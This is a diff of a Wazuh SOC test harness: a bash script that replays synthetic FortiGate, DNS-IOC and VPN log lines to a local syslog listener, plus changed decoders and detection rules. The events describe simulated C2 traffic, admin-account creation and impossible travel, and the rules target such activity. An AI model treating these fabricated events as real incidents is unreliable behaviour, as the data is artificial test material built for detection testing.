+      all|a|b|c|appendix-a|appendix-b|appendix-c)
117
+        return 0
118
+        ;;
119
+      *)
120
+        return 1
121
+        ;;
122
+    esac
123
+  fi
124
+
125
+  case "$sel" in
126
+    all)
127
+      return 0
128
+      ;;
129
+    a|appendix-a)
130
+      [[ "$tagl" == a* ]]
131
+      return
132
+      ;;
133
+    b|appendix-b)
134
+      [[ "$tagl" == b* ]]
135
+      return
136
+      ;;
137
+    c|appendix-c)
138
+      [[ "$tagl" == c* ]]
139
+      return
140
+      ;;
141
+    a1|a2|a3|a4|b1|b2|b3|c1|c2|c3)
142
+      [[ "$tagl" == "$sel"-* ]]
143
+      return
144
+      ;;
145
+    [abc][0-9]-[0-9][0-9])
146
+      [[ "$tagl" == "$sel" ]]
147
+      return
148
+      ;;
149
+    *)
150
+      return 1
151
+      ;;
152
+  esac
153
+}
154
+
155
+sample_files_for_selector() {
156
+  local sel
157
+  sel="$(normalize "$1")"
158
+  case "$sel" in
159
+    all)
160
+      echo "${SAMPLES_DIR}/appendix-a-production-samples.log"
161
+      echo "${SAMPLES_DIR}/appendix-b-production-samples.log"
162
+      echo "${SAMPLES_DIR}/appendix-c-production-samples.log"
163
+      ;;
164
+    a|appendix-a|a1|a2|a3|a4|a[0-9]-[0-9][0-9])
165
+      echo "${SAMPLES_DIR}/appendix-a-production-samples.log"
166
+      ;;
167
+    b|appendix-b|b1|b2|b3|b[0-9]-[0-9][0-9])
168
+      echo "${SAMPLES_DIR}/appendix-b-production-samples.log"
169
+      ;;
170
+    c|appendix-c|c1|c2|c3|c[0-9]-[0-9][0-9])
171
+      echo "${SAMPLES_DIR}/appendix-c-production-samples.log"
172
+      ;;
173
+    *)
174
+      echo "error: unsupported selector '$1'" >&2
175
+      return 1
176
+      ;;
177
+  esac
178
+}
179
+
180
+emit_syslog() {
181
+  local line="$1"
182
+  if [ "${DRY_RUN}" = "1" ]; then
183
+    echo "DRY_RUN -> ${line}"
184
+    return 0
185
+  fi
186
+
187
+  if [ "${DOCKER_SEND}" = "1" ]; then
188
+    if ! printf '%s\n' "${line}" | docker exec -i "${WAZUH_MANAGER_CONTAINER}" bash -lc 'cat > /dev/udp/127.0.0.1/514'; then
189
+      echo "send_failed target=${WAZUH_MANAGER_CONTAINER}:127.0.0.1:514/udp transport=docker-exec" >&2
190
+      if [ "${STRICT_SEND}" = "1" ]; then
191
+        return 1
192
+      fi
193
+    fi
194
+    return 0
195
+  fi
196
+
197
+  if command -v nc >/dev/null 2>&1; then
198
+    if ! printf '%s\n' "${line}" | nc -w "${NC_WAIT_SECONDS}" -u "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
199
+      echo "send_failed target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp transport=nc" >&2
200
+      if [ "${STRICT_SEND}" = "1" ]; then
201
+        return 1
202
+      fi
203
+    fi
204
+  else
205
+    if ! printf '%s\n' "${line}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}"; then
206
+      echo "send_failed target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp transport=devudp" >&2
207
+      if [ "${STRICT_SEND}" = "1" ]; then
208
+        return 1
209
+      fi
210
+    fi
211
+  fi
212
+}
213
+
214
+rand_between() {
215
+  local min max
216
+  min="$1"
217
+  max="$2"
218
+  echo $(( min + RANDOM % (max - min + 1) ))
219
+}
220
+
221
+random_public_ip() {
222
+  local range last
223
+  range="$(rand_between 0 2)"
224
+  last="$(rand_between 2 254)"
225
+  case "$range" in
226
+    0) echo "198.51.100.${last}" ;;
227
+    1) echo "203.0.113.${last}" ;;
228
+    *) echo "192.0.2.${last}" ;;
229
+  esac
230
+}
231
+
232
+random_private_ip() {
233
+  echo "10.$(rand_between 10 30).$(rand_between 1 254).$(rand_between 1 254)"
234
+}
235
+
236
+random_user() {
237
+  local users=(
238
+    "admin01" "analyst01" "helpdesk01" "ops.admin" "jane.doe"
239
+    "svc_backup$" "svc_dbbackup$" "finance.user" "it-admin" "guest"
240
+  )
241
+  echo "${users[$((RANDOM % ${#users[@]}))]}"
242
+}
243
+
244
+random_fgt_model() {
245
+  local models=("FGT40F-Branch01" "FGT60F-Branch01" "FGT80F-Branch01" "FGT501E-DC01")
246
+  echo "${models[$((RANDOM % ${#models[@]}))]}"
247
+}
248
+
249
+random_devid() {
250
+  local n
251
+  n="$(rand_between 10000000 99999999)"
252
+  echo "FGT80FTK${n}"
253
+}
254
+
255
+random_domain() {
256
+  echo "ioc-$(rand_between 1000 9999).malicious.example"
257
+}
258
+
259
+replace_kv() {
260
+  local input key new
261
+  input="$1"
262
+  key="$2"
263
+  new="$3"
264
+  printf '%s' "$input" | sed -E "s#${key}=\"[^\"]*\"#${key}=\"${new}\"#g; s#${key}=([^\" ][^ ]*)#${key}=${new}#g"
265
+}
266
+
267
+mock_windows_json_line() {
268
+  local line src_ip
269
+  line="$1"
270
+  src_ip="$(random_public_ip)"
271
+
272
+  if command -v jq >/dev/null 2>&1; then
273
+    printf '%s' "$line" | jq -c \
274
+      --arg srcip "$src_ip" \
275
+      '
276
+      if (.win.eventdata | type) == "object" then
277
+        .win.eventdata |= (
278
+          if has("subjectUserName") then .subjectUserName = "SYSTEM" else . end |
279
+          if has("workstationName") then .workstationName = ("WS-" + (($srcip|split("."))[3])) else . end |
280
+          if has("ipAddress") then .ipAddress = $srcip else . end
281
+        )
282
+      else
283
+        .
284
+      end
285
+      ' 2>/dev/null || printf '%s' "$line"
286
+  else
287
+    printf '%s' "$line"
288
+  fi
289
+}
290
+
291
+mock_non_json_line() {
292
+  local line now_date now_time now_iso epoch src_pub dst_priv prev_pub devname devid query
293
+  line="$1"
294
+  now_date="$(date '+%Y-%m-%d')"
295
+  now_time="$(date '+%H:%M:%S')"
296
+  now_iso="$(date -u '+%Y-%m-%dT%H:%M:%S.000Z')"
297
+  epoch="$(date '+%s')"
298
+  src_pub="$(random_public_ip)"
299
+  dst_priv="$(random_private_ip)"
300
+  prev_pub="$(random_public_ip)"
301
+  devname="$(random_fgt_model)"
302
+  devid="$(random_devid)"
303
+  query="$(random_domain)"
304
+
305
+  line="$(replace_kv "$line" "date" "$now_date")"
306
+  line="$(replace_kv "$line" "time" "$now_time")"
307
+  line="$(replace_kv "$line" "eventtime" "$epoch")"
308
+  line="$(replace_kv "$line" "devname" "$devname")"
309
+  line="$(replace_kv "$line" "devid" "$devid")"
310
+
311
+  line="$(replace_kv "$line" "srcip" "$src_pub")"
312
+  line="$(replace_kv "$line" "dstip" "$dst_priv")"
313
+  line="$(replace_kv "$line" "src_ip" "$src_pub")"
314
+  line="$(replace_kv "$line" "prev_ip" "$prev_pub")"
315
+
316
+  line="$(replace_kv "$line" "query" "$query")"
317
+
318
+  line="$(replace_kv "$line" "srcport" "$(rand_between 1025 65535)")"
319
+  line="$(replace_kv "$line" "distance_km" "$(rand_between 500 16000)")"
320
+  line="$(replace_kv "$line" "travel_minutes" "$(rand_between 5 180)")"
321
+
322
+  if [[ "$line" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}T ]]; then
323
+    line="$(printf '%s' "$line" | sed -E "s#^[0-9]{4}-[0-9]{2}-[0-9]{2}T[^ ]+#${now_iso}#")"
324
+  fi
325
+  line="$(printf '%s' "$line" | sed -E "s#from [0-9]{1,3}(\.[0-9]{1,3}){3}#from ${src_pub}#g")"
326
+  line="$(printf '%s' "$line" | sed -E "s# port [0-9]{2,5}# port $(rand_between 1025 65535)#g")"
327
+
328
+  printf '%s' "$line"
329
+}
330
+
331
+mock_line() {
332
+  local line="$1"
333
+  if [ "$MOCK_VALUES" != "1" ]; then
334
+    printf '%s' "$line"
335
+    return 0
336
+  fi
337
+
338
+  if [[ "$line" =~ ^\{ ]]; then
339
+    mock_windows_json_line "$line"
340
+  else
341
+    mock_non_json_line "$line"
342
+  fi
343
+}
344
+
345
+send_file_once() {
346
+  local file selector line sent current_tag extracted
347
+  file="$1"
348
+  selector="$2"
349
+  sent=0
350
+  current_tag=""
351
+
352
+  while IFS= read -r line || [ -n "$line" ]; do
353
+    if [[ "$line" =~ ^[[:space:]]*#[[:space:]]*([A-Za-z][0-9]-[0-9]{2})([[:space:]]|$) ]]; then
354
+      extracted="${BASH_REMATCH[1]}"
355
+      current_tag="$(normalize "$extracted")"
356
+      continue
357
+    fi
358
+
359
+    if [[ -z "${line// }" ]] || [[ "$line" =~ ^[[:space:]]*# ]]; then
360
+      continue
361
+    fi
362
+
363
+    if selector_matches_tag "$selector" "$current_tag"; then
364
+      line="$(mock_line "$line")"
365
+      emit_syslog "$line"
366
+      sent=$((sent + 1))
367
+      sleep "$DELAY"
368
+    fi
369
+  done < "$file"
370
+
371
+  echo "sent=${sent} file=$(basename "$file") selector=$(normalize "$selector")"
372
+}
373
+
374
+send_guaranteed_hits_once() {
375
+  local selector sent idx tag line
376
+  selector="$1"
377
+  sent=0
378
+
379
+  local tags=(
380
+    "a1-01"
381
+    "a1-02"
382
+    "a2-02"
383
+    "a2-03"
384
+    "a2-05"
385
+    "a2-10"
386
+    "c1-01"
387
+    "c1-01"
388
+  )
389
+
390
+  local lines=(
391
+    "soc_event=dns_ioc event_type=ioc_dns_traffic src_ip=10.26.45.214 query=ioc-2294.malicious.example action=blocked severity=medium"
392
+    "soc_event=dns_ioc event_type=ioc_domain_match src_ip=10.26.45.214 query=bad-c2.example feed=internal_main confidence=high action=alert"
393
+    "date=2026-03-09 time=10:02:04 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079324 vd=\"root\" logid=\"0100044547\" type=\"event\" subtype=\"system\" level=\"warning\" user=\"admin\" action=\"password-change\" ui=\"https(10.20.55.1)\""
394
+    "date=2026-03-09 time=10:02:17 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079337 vd=\"root\" logid=\"0100044548\" type=\"event\" subtype=\"system\" level=\"warning\" user=\"admin\" action=\"create-admin\" target_user=\"soc-backup-admin\""
395
+    "date=2026-03-09 time=10:04:03 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079443 vd=\"root\" logid=\"0100044552\" type=\"event\" subtype=\"system\" level=\"notice\" user=\"admin\" action=\"download-config\" dstip=10.20.50.33"
396
+    "date=2026-03-09 time=10:07:59 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079679 vd=\"root\" logid=\"0000000014\" type=\"traffic\" subtype=\"forward\" level=\"warning\" srcip=10.20.55.50 dstip=203.0.113.60 dstport=443 threat_label=\"known-c2\" action=\"accept\""
397
+    "date=2026-03-09 time=10:31:00 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773081060 vd=\"root\" logid=\"0101037135\" type=\"event\" subtype=\"vpn\" tunneltype=\"ssl\" action=\"ssl-login-success\" user=\"analyst01\" srcip=203.0.113.71 previous_country=TH current_country=US"
398
+    "soc_event=correlation event_type=c1_impossible_travel user=\"analyst01\" src_ip=203.0.113.71 prev_ip=203.0.113.11 prev_country=TH current_country=US distance_km=13890 travel_minutes=18"
399
+  )
400
+
401
+  for idx in "${!lines[@]}"; do
402
+    tag="${tags[$idx]}"
403
+    if selector_matches_tag "$selector" "$tag"; then
404
+      line="$(mock_line "${lines[$idx]}")"
405
+      emit_syslog "$line"
406
+      sent=$((sent + 1))
407
+      sleep "$DELAY"
408
+    fi
409
+  done
410
+
411
+  echo "guaranteed_sent=${sent} selector=$(normalize "$selector")"
412
+}
413
+
414
+EVENT_POOL_READY=0
415
+EVENT_POOL_SELECTOR=""
416
+declare -a EVENT_POOL_TAGS
417
+declare -a EVENT_POOL_LINES
418
+
419
+build_event_pool() {
420
+  local selector file line current_tag extracted idx tag
421
+  selector="$1"
422
+  EVENT_POOL_READY=0
423
+  EVENT_POOL_SELECTOR="$selector"
424
+  EVENT_POOL_TAGS=()
425
+  EVENT_POOL_LINES=()
426
+
427
+  if [ "$INCLUDE_NONALERTS" = "1" ]; then
428
+    for file in "${FILES[@]}"; do
429
+      current_tag=""
430
+      while IFS= read -r line || [ -n "$line" ]; do
431
+        if [[ "$line" =~ ^[[:space:]]*#[[:space:]]*([A-Za-z][0-9]-[0-9]{2})([[:space:]]|$) ]]; then
432
+          extracted="${BASH_REMATCH[1]}"
433
+          current_tag="$(normalize "$extracted")"
434
+          continue
435
+        fi
436
+        if [[ -z "${line// }" ]] || [[ "$line" =~ ^[[:space:]]*# ]]; then
437
+          continue
438
+        fi
439
+        if selector_matches_tag "$selector" "$current_tag"; then
440
+          EVENT_POOL_TAGS+=("$current_tag")
441
+          EVENT_POOL_LINES+=("$line")
442
+        fi
443
+      done < "$file"
444
+    done
445
+  fi
446
+
447
+  if [ "$GUARANTEE_HITS" = "1" ]; then
448
+    local guaranteed_tags=(
449
+      "a1-01" "a1-02" "a2-02" "a2-03" "a2-05" "a2-10" "c1-01" "c1-01"
450
+    )
451
+    local guaranteed_lines=(
452
+      "soc_event=dns_ioc event_type=ioc_dns_traffic src_ip=10.26.45.214 query=ioc-2294.malicious.example action=blocked severity=medium"
453
+      "soc_event=dns_ioc event_type=ioc_domain_match src_ip=10.26.45.214 query=bad-c2.example feed=internal_main confidence=high action=alert"
454
+      "date=2026-03-09 time=10:02:04 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079324 vd=\"root\" logid=\"0100044547\" type=\"event\" subtype=\"system\" level=\"warning\" user=\"admin\" action=\"password-change\" ui=\"https(10.20.55.1)\""
455
+      "date=2026-03-09 time=10:02:17 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079337 vd=\"root\" logid=\"0100044548\" type=\"event\" subtype=\"system\" level=\"warning\" user=\"admin\" action=\"create-admin\" target_user=\"soc-backup-admin\""
456
+      "date=2026-03-09 time=10:04:03 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079443 vd=\"root\" logid=\"0100044552\" type=\"event\" subtype=\"system\" level=\"notice\" user=\"admin\" action=\"download-config\" dstip=10.20.50.33"
457
+      "date=2026-03-09 time=10:07:59 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079679 vd=\"root\" logid=\"0000000014\" type=\"traffic\" subtype=\"forward\" level=\"warning\" srcip=10.20.55.50 dstip=203.0.113.60 dstport=443 threat_label=\"known-c2\" action=\"accept\""
458
+      "date=2026-03-09 time=10:31:00 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773081060 vd=\"root\" logid=\"0101037135\" type=\"event\" subtype=\"vpn\" tunneltype=\"ssl\" action=\"ssl-login-success\" user=\"analyst01\" srcip=203.0.113.71 previous_country=TH current_country=US"
459
+      "soc_event=correlation event_type=c1_impossible_travel user=\"analyst01\" src_ip=203.0.113.71 prev_ip=203.0.113.11 prev_country=TH current_country=US distance_km=13890 travel_minutes=18"
460
+    )
461
+    for idx in "${!guaranteed_lines[@]}"; do
462
+      tag="${guaranteed_tags[$idx]}"
463
+      if selector_matches_tag "$selector" "$tag"; then
464
+        EVENT_POOL_TAGS+=("$tag")
465
+        EVENT_POOL_LINES+=("${guaranteed_lines[$idx]}")
466
+      fi
467
+    done
468
+  fi
469
+
470
+  EVENT_POOL_READY=1
471
+}
472
+
473
+send_random_event_once() {
474
+  local selector size idx line tag
475
+  selector="$1"
476
+  if [ "$EVENT_POOL_READY" -ne 1 ] || [ "$EVENT_POOL_SELECTOR" != "$selector" ]; then
477
+    build_event_pool "$selector"
478
+  fi
479
+  size="${#EVENT_POOL_LINES[@]}"
480
+  if [ "$size" -eq 0 ]; then
481
+    echo "random_sent=0 selector=$(normalize "$selector")"
482
+    return 0
483
+  fi
484
+  idx=$((RANDOM % size))
485
+  tag="${EVENT_POOL_TAGS[$idx]}"
486
+  line="${EVENT_POOL_LINES[$idx]}"
487
+  line="$(mock_line "$line")"
488
+  emit_syslog "$line"
489
+  echo "random_sent=1 tag=${tag} selector=$(normalize "$selector")"
490
+}
491
+
492
+if ! is_valid_selector "$SELECTOR"; then
493
+  echo "error: selector must be one of all|a|b|c|appendix-a|appendix-b|appendix-c|a1..a4|b1..b3|c1..c3|A1-01..C3-04"
494
+  exit 1
495
+fi
496
+
497
+FILES=()
498
+while IFS= read -r f; do
499
+  [ -n "$f" ] && FILES+=("$f")
500
+done < <(sample_files_for_selector "$SELECTOR")
501
+
502
+for f in "${FILES[@]}"; do
503
+  if [ ! -f "$f" ]; then
504
+    echo "error: missing sample file '$f'"
505
+    exit 1
506
+  fi
507
+done
508
+
509
+echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s forever=${FOREVER} dry_run=${DRY_RUN} mock_values=${MOCK_VALUES} guarantee_hits=${GUARANTEE_HITS} random_types=${RANDOM_TYPES} include_nonalerts=${INCLUDE_NONALERTS} docker_send=${DOCKER_SEND} nc_wait=${NC_WAIT_SECONDS}s strict_send=${STRICT_SEND}"
510
+echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
511
+
512
+if [ "$RANDOM_TYPES" = "1" ]; then
513
+  if [ "$FOREVER" -eq 1 ]; then
514
+    loop=1
515
+    while true; do
516
+      send_random_event_once "$SELECTOR"
517
+      echo "loop=${loop} complete"
518
+      loop=$((loop + 1))
519
+      sleep "$DELAY"
520
+    done
521
+  else
522
+    for ((i=1; i<=COUNT; i++)); do
523
+      send_random_event_once "$SELECTOR"
524
+      echo "iteration=${i}/${COUNT} complete"
525
+      sleep "$DELAY"
526
+    done
527
+  fi
528
+elif [ "$FOREVER" -eq 1 ]; then
529
+  loop=1
530
+  while true; do
531
+    for f in "${FILES[@]}"; do
532
+      send_file_once "$f" "$SELECTOR"
533
+    done
534
+    if [ "$GUARANTEE_HITS" = "1" ]; then
535
+      send_guaranteed_hits_once "$SELECTOR"
536
+    fi
537
+    echo "loop=${loop} complete"
538
+    loop=$((loop + 1))
539
+  done
540
+else
541
+  for ((i=1; i<=COUNT; i++)); do
542
+    for f in "${FILES[@]}"; do
543
+      send_file_once "$f" "$SELECTOR"
544
+    done
545
+    if [ "$GUARANTEE_HITS" = "1" ]; then
546
+      send_guaranteed_hits_once "$SELECTOR"
547
+    fi
548
+    echo "iteration=${i}/${COUNT} complete"
549
+  done
550
+fi

+ 0 - 132
scripts/send-wazuh-test-events.sh

@@ -1,132 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-SCENARIO="${1:-all}"
5
-COUNT="${2:-1}"
6
-DELAY="${3:-0.3}"
7
-FOREVER="false"
8
-
9
-for arg in "${@:4}"; do
10
-  case "${arg}" in
11
-    --forever)
12
-      FOREVER="true"
13
-      ;;
14
-    *)
15
-      echo "error: unexpected argument '${arg}'"
16
-      echo "usage: scripts/send-wazuh-test-events.sh [scenario] [count] [delay_seconds] [--forever]"
17
-      exit 1
18
-      ;;
19
-  esac
20
-done
21
-
22
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
23
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
24
-WAZUH_TEST_SRC_IP="${WAZUH_TEST_SRC_IP:-203.0.113.10}"
25
-WAZUH_TEST_DOMAIN="${WAZUH_TEST_DOMAIN:-malicious.example}"
26
-WAZUH_TEST_USER="${WAZUH_TEST_USER:-guest.user}"
27
-
28
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
29
-  echo "error: count must be a positive integer"
30
-  exit 1
31
-fi
32
-
33
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
34
-  echo "error: delay must be numeric (example: 0.5)"
35
-  exit 1
36
-fi
37
-
38
-emit_syslog() {
39
-  local msg="$1"
40
-  local sent="false"
41
-
42
-  if command -v nc >/dev/null 2>&1; then
43
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
44
-      sent="true"
45
-    fi
46
-  fi
47
-
48
-  if [[ "${sent}" != "true" ]]; then
49
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
50
-      sent="true"
51
-    fi
52
-  fi
53
-
54
-  if [[ "${sent}" != "true" ]]; then
55
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
56
-    echo "hint: install netcat or run with bash UDP support (/dev/udp)"
57
-    return 1
58
-  fi
59
-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
60
-}
61
-
62
-random_id() {
63
-  printf "%s" "evt-$(date +%s)-$RANDOM-$RANDOM"
64
-}
65
-
66
-send_ioc_dns() {
67
-  local eid
68
-  eid="$(random_id)"
69
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') soc-test soc_mvp_test=true event_id=${eid} event_type=ioc_dns src_ip=${WAZUH_TEST_SRC_IP} query=${WAZUH_TEST_DOMAIN} action=blocked severity=medium"
70
-}
71
-
72
-send_ioc_ips() {
73
-  local eid
74
-  eid="$(random_id)"
75
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') soc-test soc_mvp_test=true event_id=${eid} event_type=ioc_ips src_ip=${WAZUH_TEST_SRC_IP} dst_ip=198.51.100.55 signature='Known C2 Beacon' severity=high"
76
-}
77
-
78
-send_vpn_outside_th() {
79
-  local eid
80
-  eid="$(random_id)"
81
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') soc-test soc_mvp_test=true event_id=${eid} event_type=vpn_geo_anomaly user=${WAZUH_TEST_USER} src_ip=${WAZUH_TEST_SRC_IP} country=US success=true severity=high"
82
-}
83
-
84
-send_windows_auth_fail() {
85
-  local eid
86
-  eid="$(random_id)"
87
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') soc-test soc_mvp_test=true event_id=${eid} event_type=windows_auth_fail user=${WAZUH_TEST_USER} src_ip=${WAZUH_TEST_SRC_IP} attempts=7 severity=medium"
88
-}
89
-
90
-send_once() {
91
-  case "${SCENARIO}" in
92
-    ioc_dns)
93
-      send_ioc_dns
94
-      ;;
95
-    ioc_ips)
96
-      send_ioc_ips
97
-      ;;
98
-    vpn_outside_th)
99
-      send_vpn_outside_th
100
-      ;;
101
-    windows_auth_fail)
102
-      send_windows_auth_fail
103
-      ;;
104
-    all)
105
-      send_ioc_dns
106
-      send_ioc_ips
107
-      send_vpn_outside_th
108
-      send_windows_auth_fail
109
-      ;;
110
-    *)
111
-      echo "error: unknown scenario '${SCENARIO}'"
112
-      echo "valid: ioc_dns | ioc_ips | vpn_outside_th | windows_auth_fail | all"
113
-      exit 1
114
-      ;;
115
-  esac
116
-}
117
-
118
-if [[ "${FOREVER}" == "true" ]]; then
119
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
120
-  trap 'echo; echo "stopped"; exit 0' INT TERM
121
-  while true; do
122
-    send_once
123
-    sleep "${DELAY}"
124
-  done
125
-else
126
-  for ((i=1; i<=COUNT; i++)); do
127
-    send_once
128
-    if [[ "${i}" -lt "${COUNT}" ]]; then
129
-      sleep "${DELAY}"
130
-    fi
131
-  done
132
-fi

+ 13 - 21
wazuh-docker/single-node/config/wazuh_cluster/local_decoder.xml

@@ -1,25 +1,17 @@
1
-<!-- SOC MVP local decoders (minimal production-safe set) -->
1
+<!--
2
+  SOC custom decoders (production-focused baseline)
3
+  - Decodes real correlation payloads produced by SOC Integrator
4
+  - Decodes real DNS IOC payloads
5
+-->
2 6
 
3
-<decoder name="soc-kv-base">
4
-  <prematch>soc_mvp_test=true</prematch>
7
+<decoder name="soc-prod-dns">
8
+  <prematch>soc_event=dns_ioc</prematch>
9
+  <regex type="pcre2">event_type=(\S+)(?:.*?src_ip=([\d.]+))?</regex>
10
+  <order>status, srcip</order>
5 11
 </decoder>
6 12
 
7
-<decoder name="soc-dns-ioc">
8
-  <parent>soc-kv-base</parent>
9
-  <prematch>source=dns</prematch>
10
-</decoder>
11
-
12
-<decoder name="soc-vmware-auth">
13
-  <parent>soc-kv-base</parent>
14
-  <prematch>source=vmware</prematch>
15
-</decoder>
16
-
17
-<decoder name="soc-log-monitor">
18
-  <parent>soc-kv-base</parent>
19
-  <prematch>source=log_monitor</prematch>
20
-</decoder>
21
-
22
-<decoder name="soc-windows-sysmon">
23
-  <parent>soc-kv-base</parent>
24
-  <prematch>source=windows_sysmon</prematch>
13
+<decoder name="soc-prod-integrator">
14
+  <prematch>soc_event=correlation</prematch>
15
+  <regex type="pcre2">event_type=(\S+)(?:.*?user="([^"]+)")?(?:.*?src_ip=([\d.]+))?</regex>
16
+  <order>status, srcuser, srcip</order>
25 17
 </decoder>

+ 15 - 305
wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml

@@ -1,311 +1,21 @@
1
-<group name="soc_mvp_test,">
2
-  <!-- Base marker for all synthetic SOC simulation events -->
3
-  <rule id="100200" level="3">
4
-    <match>soc_mvp_test=true</match>
5
-    <description>SOC MVP synthetic test event detected</description>
6
-    <group>soc_mvp_test,syslog,</group>
7
-  </rule>
8
-
9
-  <!-- Proposal-level grouping -->
10
-  <rule id="100210" level="5">
11
-    <if_sid>100200</if_sid>
12
-    <match>usecase_id=A</match>
13
-    <description>Proposal Appendix A simulation event</description>
14
-    <group>soc_mvp_test,proposal_appendix_a,</group>
15
-  </rule>
1
+<!--
2
+  SOC custom local rules (production-focused baseline)
3
+  Rule IDs in this file:
4
+    100250: DNS/IOC decoder anchor (soc-prod-dns)
5
+    100260: soc-integrator correlation decoder anchor (soc-prod-integrator)
6
+-->
7
+<group name="soc_prod_base,">
16 8
 
17
-  <rule id="100220" level="5">
18
-    <if_sid>100200</if_sid>
19
-    <match>usecase_id=B</match>
20
-    <description>Proposal Appendix B simulation event</description>
21
-    <group>soc_mvp_test,proposal_appendix_b,</group>
9
+  <rule id="100250" level="3">
10
+    <decoded_as>soc-prod-dns</decoded_as>
11
+    <description>SOC PROD: DNS/IOC anchor event</description>
12
+    <group>soc_prod_base,dns_ioc,</group>
22 13
   </rule>
23 14
 
24
-  <rule id="100230" level="5">
25
-    <if_sid>100200</if_sid>
26
-    <match>usecase_id=C</match>
27
-    <description>Proposal Appendix C simulation event</description>
28
-    <group>soc_mvp_test,proposal_appendix_c,</group>
15
+  <rule id="100260" level="3">
16
+    <decoded_as>soc-prod-integrator</decoded_as>
17
+    <description>SOC PROD: soc-integrator correlation anchor event</description>
18
+    <group>soc_prod_base,correlation,</group>
29 19
   </rule>
30 20
 
31
-  <!-- Appendix A1 (Medium) -->
32
-  <rule id="100301" level="8"><if_sid>100210</if_sid><match>usecase_id=A1-01</match><description>A1-01 DNS Network Traffic Communicate to Malicious Domain</description><group>soc_mvp_test,appendix_a,a1,ioc,</group></rule>
33
-  <rule id="100302" level="8"><if_sid>100210</if_sid><match>usecase_id=A1-02</match><description>A1-02 DNS Network Traffic Malicious Domain IOCs Detection</description><group>soc_mvp_test,appendix_a,a1,ioc,</group></rule>
34
-
35
-  <!-- Appendix A2 (FortiGate IPS/IDS & Firewall) -->
36
-  <rule id="100311" level="12"><if_sid>100210</if_sid><match>usecase_id=A2-01</match><description>A2-01 Allowed RDP from Public IPs</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
37
-  <rule id="100312" level="12"><if_sid>100210</if_sid><match>usecase_id=A2-02</match><description>A2-02 Firewall Account Admin Password Change</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
38
-  <rule id="100313" level="12"><if_sid>100210</if_sid><match>usecase_id=A2-03</match><description>A2-03 Firewall Account Create Add Admin Account</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
39
-  <rule id="100314" level="12"><if_sid>100210</if_sid><match>usecase_id=A2-04</match><description>A2-04 Firewall Configure Disabled Email Notification</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
40
-  <rule id="100315" level="5"><if_sid>100210</if_sid><match>usecase_id=A2-05</match><description>A2-05 Firewall Configure Download Configure FW</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
41
-  <rule id="100316" level="8"><if_sid>100210</if_sid><match>usecase_id=A2-06</match><description>A2-06 IDS Alert Multiple Critical High</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
42
-  <rule id="100317" level="5"><if_sid>100210</if_sid><match>usecase_id=A2-07</match><description>A2-07 Network Traffic Port Scanning</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
43
-  <rule id="100318" level="8"><if_sid>100210</if_sid><match>usecase_id=A2-08</match><description>A2-08 Network Traffic IOC Detection</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
44
-  <rule id="100319" level="8"><if_sid>100210</if_sid><match>usecase_id=A2-09</match><description>A2-09 Port Scanning from Private IP</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
45
-  <rule id="100320" level="8"><if_sid>100210</if_sid><match>usecase_id=A2-10</match><description>A2-10 Communicate to Malicious IP</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
46
-
47
-  <!-- Appendix A3 (FortiGate VPN) -->
48
-  <rule id="100331" level="12"><if_sid>100210</if_sid><match>usecase_id=A3-01</match><description>A3-01 VPN Authentication Success from Guest Account</description><group>soc_mvp_test,appendix_a,a3,vpn,</group></rule>
49
-  <rule id="100332" level="12"><if_sid>100210</if_sid><match>usecase_id=A3-02</match><description>A3-02 VPN Authentication Success from Multiple Country</description><group>soc_mvp_test,appendix_a,a3,vpn,</group></rule>
50
